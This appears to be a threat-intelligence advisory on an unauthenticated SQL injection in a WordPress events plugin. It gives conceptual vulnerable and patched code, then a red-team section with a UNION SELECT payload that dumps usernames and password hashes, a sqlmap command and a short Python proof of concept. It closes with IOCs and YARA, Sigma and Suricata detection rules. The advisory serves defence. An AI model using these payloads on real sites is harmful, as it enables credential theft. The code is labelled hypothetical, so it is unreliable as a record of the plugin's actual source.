CVE-2025-12646

Executive Summary

CVE-2025-12646 is a critical unauthenticated SQL Injection vulnerability in the Community Events plugin for WordPress (versions up to and including 1.5.4). The flaw resides in the dayofyear parameter, which is insufficiently sanitized and not properly prepared in the SQL query. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially extracting sensitive data such as user credentials, session tokens, and other database contents. The vulnerability has a CVSS score of 7.5 (High) and is classified under CWE-89 (SQL Injection). No public exploit code or patch details are currently available, but the risk is significant due to the unauthenticated nature of the attack.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are not using modified or malicious versions. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem, which is a common target for supply chain attacks.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The threat level is High due to the ease of exploitation (no authentication required) and the potential for complete database compromise.

Deep Dive & Mechanics

The vulnerability exists in the dayofyear parameter used by the Community Events plugin. The plugin likely processes this parameter in a SQL query to filter events by day of the year. Due to insufficient escaping and lack of prepared statements, an attacker can inject SQL code by manipulating the dayofyear parameter.

Example vulnerable code snippet (conceptual):

$dayofyear = $_GET['dayofyear'];
$query = "SELECT * FROM events WHERE DAYOFYEAR(event_date) = $dayofyear";
$result = $wpdb->get_results($query);

The attacker can supply a value like:

1 UNION SELECT user_login, user_pass FROM wp_users

This would append a UNION query to extract usernames and password hashes.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.5.4):

$dayofyear = $_GET['dayofyear'];
$query = "SELECT * FROM events WHERE DAYOFYEAR(event_date) = $dayofyear";
$result = $wpdb->get_results($query);

Patched Code (hypothetical fix):

$dayofyear = intval($_GET['dayofyear']);
$query = $wpdb->prepare("SELECT * FROM events WHERE DAYOFYEAR(event_date) = %d", $dayofyear);
$result = $wpdb->get_results($query);

The patched version uses intval() to ensure the parameter is an integer and $wpdb->prepare() to safely bind the parameter, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Community Events plugin version <= 1.5.4.
• Knowledge of the target's database structure (e.g., table prefix).

Exploitation Steps:

1. Identify a vulnerable endpoint that accepts the dayofyear parameter (e.g., /events/?dayofyear=1).
2. Inject SQL payloads to extract data. Example:

   GET /events/?dayofyear=1 UNION SELECT user_login,user_pass FROM wp_users--
   

3. Use tools like sqlmap for automated exploitation:

   sqlmap -u "http://target.com/events/?dayofyear=1" --batch --dbs
   

Proof-of-Concept (PoC) Code:

import requests

target = "http://target.com/events/"
payload = "1 UNION SELECT user_login,user_pass FROM wp_users--"
params = {'dayofyear': payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defense & Detection)

Detection Steps:

• Monitor web server logs for suspicious dayofyear parameter values containing SQL keywords (e.g., UNION, SELECT, FROM).
• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
• Use the detection rules provided in the next section.

Mitigation Steps:

• Immediately update the plugin to a patched version (if available) or disable it.
• Apply virtual patching via WAF.
• Review and harden all database queries using prepared statements.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with dayofyear parameter containing SQL keywords (e.g., UNION, SELECT, --).
  • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

• File IOCs:

  • Modified plugin files (e.g., community-events.php) containing malicious code.
  • Suspicious log files in /wp-content/uploads/ or /wp-content/plugins/community-events/.

• Database IOCs:

  • Unexpected entries in wp_users or wp_usermeta tables.
  • New administrative users created via SQL injection.

Detection Engineering

YARA Rule

rule CVE_2025_12646_SQLi_WordPress {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-12646 in Community Events plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12646"
    strings:
        $sqli1 = "dayofyear=" nocase
        $sqli2 = "UNION" nocase
        $sqli3 = "SELECT" nocase
        $sqli4 = "FROM" nocase
        $sqli5 = "wp_users" nocase
    condition:
        all of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: CVE-2025-12646 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts via dayofyear parameter in Community Events plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "dayofyear="
        c-uri|contains|all:
            - "UNION"
            - "SELECT"
            - "FROM"
    condition: selection
falsepositives:
    - Legitimate use of the word "union" in a non-SQL context (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12646 SQL Injection Attempt"; flow:to_server; content:"dayofyear="; nocase; content:"UNION"; nocase; content:"SELECT"; nocase; content:"FROM"; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the Community Events plugin until a patch is applied.
   • Implement a WAF rule to block SQL injection patterns in the dayofyear parameter.
   • Review database logs for any signs of compromise.

2. Long-term Fix:

   • Update the plugin to a patched version (once available) or replace it with an alternative.
   • Ensure all WordPress plugins use prepared statements or parameterized queries.
   • Conduct a security audit of all custom code.

3. Monitoring:

   • Enable detailed logging for all HTTP requests.
   • Set up alerts for SQL injection patterns.
   • Regularly scan for vulnerabilities using tools like WPScan.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.